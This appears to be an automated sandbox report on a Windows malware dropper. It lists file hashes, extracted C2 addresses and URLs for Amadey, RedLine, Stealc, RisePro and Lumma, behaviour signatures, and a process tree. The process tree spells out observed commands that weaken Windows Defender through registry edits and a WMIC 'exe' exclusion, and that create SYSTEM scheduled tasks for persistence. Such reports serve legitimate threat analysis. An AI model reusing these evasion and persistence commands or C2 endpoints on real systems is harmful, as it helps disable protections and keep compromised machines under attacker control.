Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/05/2024, 21:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    089af5b7d5bad28d97cff5874b01a15e48181e15735c3e69b9a165e0f5e52a04.exe

  • Size

    1.7MB

  • MD5

    e409888d67c8928fee6f19df95a0bcec

  • SHA1

    6649b4108c1bb64562441f75164810c2ad8aeaa7

  • SHA256

    089af5b7d5bad28d97cff5874b01a15e48181e15735c3e69b9a165e0f5e52a04

  • SHA512

    58cf0cff016b6b859031278a6ef18c04cc703be5f44b90e377f625e74b1f1eda061152834c54f60864de9a5e142b9e7fbe1454924451356d1022b1cd36481141

  • SSDEEP

    24576:npBCqA0vbX0oq0d450uhDZXajmcZA/rkMzdRJ7+NiK9HqRog8Rv9sd6PHAGxQYn6:yqVbX40S79s4/wyJQ9HqMv9fAGPjJo

Score
10/10
amadeygluptebalummaprivateloaderredlineriseprosectopratstealczgrat@cloudytteamtest1234discoverydropperevasionexecutioninfostealerloaderpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.20

C2

http://193.233.132.139

Attributes
  • install_dir

    5454e6f062

  • install_file

    explorta.exe

  • strings_key

    c7a869c5ba1d72480093ec207994e2bf

  • url_paths

    /sev56rkm/index.php

rc4.plain

Extracted

Family

amadey

Version

4.18

C2

http://193.233.132.56

Attributes
  • install_dir

    09fd851a4f

  • install_file

    explorha.exe

  • strings_key

    443351145ece4966ded809641c77cfa8

  • url_paths

    /Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

redline

Botnet

Test1234

C2

185.215.113.67:26260

Extracted

Family

stealc

C2

http://52.143.157.84

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

risepro

C2

147.45.47.93:58709

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Extracted

Family

lumma

C2

https://affordcharmcropwo.shop/api

https://cleartotalfisherwo.shop/api

https://worryfillvolcawoi.shop/api

https://enthusiasimtitleow.shop/api

https://dismissalcylinderhostw.shop/api

https://diskretainvigorousiw.shop/api

https://communicationgenerwo.shop/api

https://pillowbrocccolipe.shop/api

https://productivelookewr.shop/api

https://tolerateilusidjukl.shop/api

https://shatterbreathepsw.shop/api

https://shortsvelventysjo.shop/api

https://incredibleextedwj.shop/api

https://alcojoldwograpciw.shop/api

https://liabilitynighstjsko.shop/api

https://demonstationfukewko.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect ZGRat V1 6 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 4 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 43 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 9 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 30 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 61 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\089af5b7d5bad28d97cff5874b01a15e48181e15735c3e69b9a165e0f5e52a04.exe
    "C:\Users\Admin\AppData\Local\Temp\089af5b7d5bad28d97cff5874b01a15e48181e15735c3e69b9a165e0f5e52a04.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
      "C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
        "C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"
        3⤵
          PID:1100
        • C:\Users\Admin\AppData\Local\Temp\1000019001\amert.exe
          "C:\Users\Admin\AppData\Local\Temp\1000019001\amert.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
            "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:544
            • C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
              "C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1500
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:3552
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1500 -s 868
                  6⤵
                  • Program crash
                  PID:3476
              • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe"
                5⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:4584
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe" /F
                  6⤵
                  • Creates scheduled task(s)
                  PID:3332
                • C:\Users\Admin\AppData\Local\Temp\1000234001\ISetup8.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000234001\ISetup8.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:3324
                  • C:\Users\Admin\AppData\Local\Temp\u2kc.0.exe
                    "C:\Users\Admin\AppData\Local\Temp\u2kc.0.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:5044
                  • C:\Users\Admin\AppData\Local\Temp\u2kc.2\run.exe
                    "C:\Users\Admin\AppData\Local\Temp\u2kc.2\run.exe"
                    7⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    PID:3548
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\SysWOW64\cmd.exe
                      8⤵
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: MapViewOfSection
                      PID:2712
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        9⤵
                          PID:5316
                    • C:\Users\Admin\AppData\Local\Temp\u2kc.3.exe
                      "C:\Users\Admin\AppData\Local\Temp\u2kc.3.exe"
                      7⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:928
                      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                        8⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1240
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 1780
                      7⤵
                      • Program crash
                      PID:4852
                  • C:\Users\Admin\AppData\Local\Temp\1000235001\toolspub1.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000235001\toolspub1.exe"
                    6⤵
                    • Executes dropped EXE
                    • Checks SCSI registry key(s)
                    PID:1424
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1424 -s 352
                      7⤵
                      • Program crash
                      PID:452
                  • C:\Users\Admin\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe"
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3484
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      7⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2968
                    • C:\Users\Admin\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:3860
                • C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe"
                  5⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1516
                • C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1096
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                      PID:5084
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      6⤵
                      • Checks processor information in registry
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3472
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 1304
                        7⤵
                        • Program crash
                        PID:5472
                  • C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:4520
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                      6⤵
                        PID:3720
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                        6⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4504
                        • C:\Users\Admin\Pictures\lsQm9JRlgAYp1No3b3BHFAps.exe
                          "C:\Users\Admin\Pictures\lsQm9JRlgAYp1No3b3BHFAps.exe"
                          7⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          PID:3648
                          • C:\Users\Admin\AppData\Local\Temp\u2tc.0.exe
                            "C:\Users\Admin\AppData\Local\Temp\u2tc.0.exe"
                            8⤵
                            • Executes dropped EXE
                            PID:2280
                          • C:\Users\Admin\AppData\Local\Temp\u2tc.2\run.exe
                            "C:\Users\Admin\AppData\Local\Temp\u2tc.2\run.exe"
                            8⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            PID:776
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\SysWOW64\cmd.exe
                              9⤵
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious behavior: MapViewOfSection
                              PID:392
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                10⤵
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of SetWindowsHookEx
                                PID:2076
                          • C:\Users\Admin\AppData\Local\Temp\u2tc.3.exe
                            "C:\Users\Admin\AppData\Local\Temp\u2tc.3.exe"
                            8⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            PID:1972
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3648 -s 1564
                            8⤵
                            • Program crash
                            PID:2408
                        • C:\Users\Admin\Pictures\qofonKP7JiT1syVNsb8xbxuw.exe
                          "C:\Users\Admin\Pictures\qofonKP7JiT1syVNsb8xbxuw.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:764
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            8⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3996
                          • C:\Users\Admin\Pictures\qofonKP7JiT1syVNsb8xbxuw.exe
                            "C:\Users\Admin\Pictures\qofonKP7JiT1syVNsb8xbxuw.exe"
                            8⤵
                            • Executes dropped EXE
                            PID:4972
                        • C:\Users\Admin\Pictures\eGfphrQc1FUYtF2DjAPzHkkQ.exe
                          "C:\Users\Admin\Pictures\eGfphrQc1FUYtF2DjAPzHkkQ.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3228
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            8⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1688
                          • C:\Users\Admin\Pictures\eGfphrQc1FUYtF2DjAPzHkkQ.exe
                            "C:\Users\Admin\Pictures\eGfphrQc1FUYtF2DjAPzHkkQ.exe"
                            8⤵
                            • Executes dropped EXE
                            PID:1044
                        • C:\Users\Admin\Pictures\oCW5EXjXFn0bX6sqNVBA2mx6.exe
                          "C:\Users\Admin\Pictures\oCW5EXjXFn0bX6sqNVBA2mx6.exe"
                          7⤵
                          • Modifies firewall policy service
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:1396
                        • C:\Users\Admin\Pictures\f2U88CQoWtF3hTNYyNqCJevI.exe
                          "C:\Users\Admin\Pictures\f2U88CQoWtF3hTNYyNqCJevI.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:5156
                          • C:\Users\Admin\AppData\Local\Temp\7zSFD56.tmp\Install.exe
                            .\Install.exe /WkfdidVYT "385118" /S
                            8⤵
                            • Checks BIOS information in registry
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Enumerates system info in registry
                            PID:5256
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                              9⤵
                                PID:5340
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                  10⤵
                                    PID:5384
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                      11⤵
                                        PID:5404
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                          12⤵
                                            PID:5416
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                        10⤵
                                          PID:5444
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                            11⤵
                                              PID:5460
                                              • \??\c:\windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                12⤵
                                                  PID:5476
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                              10⤵
                                                PID:5500
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                  11⤵
                                                    PID:5528
                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                      12⤵
                                                        PID:5544
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                    10⤵
                                                      PID:5564
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                        11⤵
                                                          PID:5580
                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                            12⤵
                                                              PID:5600
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                          10⤵
                                                            PID:5620
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                              11⤵
                                                                PID:5636
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                  12⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5656
                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                    13⤵
                                                                      PID:6104
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                              9⤵
                                                                PID:5352
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                  10⤵
                                                                    PID:5396
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                      11⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:5476
                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                        12⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5816
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 21:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSFD56.tmp\Install.exe\" Wt /Zshdidytoz 385118 /S" /V1 /F
                                                                  9⤵
                                                                  • Drops file in Windows directory
                                                                  • Creates scheduled task(s)
                                                                  PID:928
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                                                  9⤵
                                                                    PID:5608
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                      10⤵
                                                                        PID:5320
                                                                        • \??\c:\windows\SysWOW64\schtasks.exe
                                                                          schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                          11⤵
                                                                            PID:5084
                                                                  • C:\Users\Admin\Pictures\Jd3EhHsPCbSdEHBx98VSLpGQ.exe
                                                                    "C:\Users\Admin\Pictures\Jd3EhHsPCbSdEHBx98VSLpGQ.exe"
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    PID:5820
                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS98B.tmp\Install.exe
                                                                      .\Install.exe /WkfdidVYT "385118" /S
                                                                      8⤵
                                                                      • Checks BIOS information in registry
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • Enumerates system info in registry
                                                                      PID:5920
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                        9⤵
                                                                          PID:6028
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                            10⤵
                                                                              PID:5164
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                11⤵
                                                                                  PID:5224
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                    12⤵
                                                                                      PID:5292
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                  10⤵
                                                                                    PID:5452
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                      11⤵
                                                                                        PID:5584
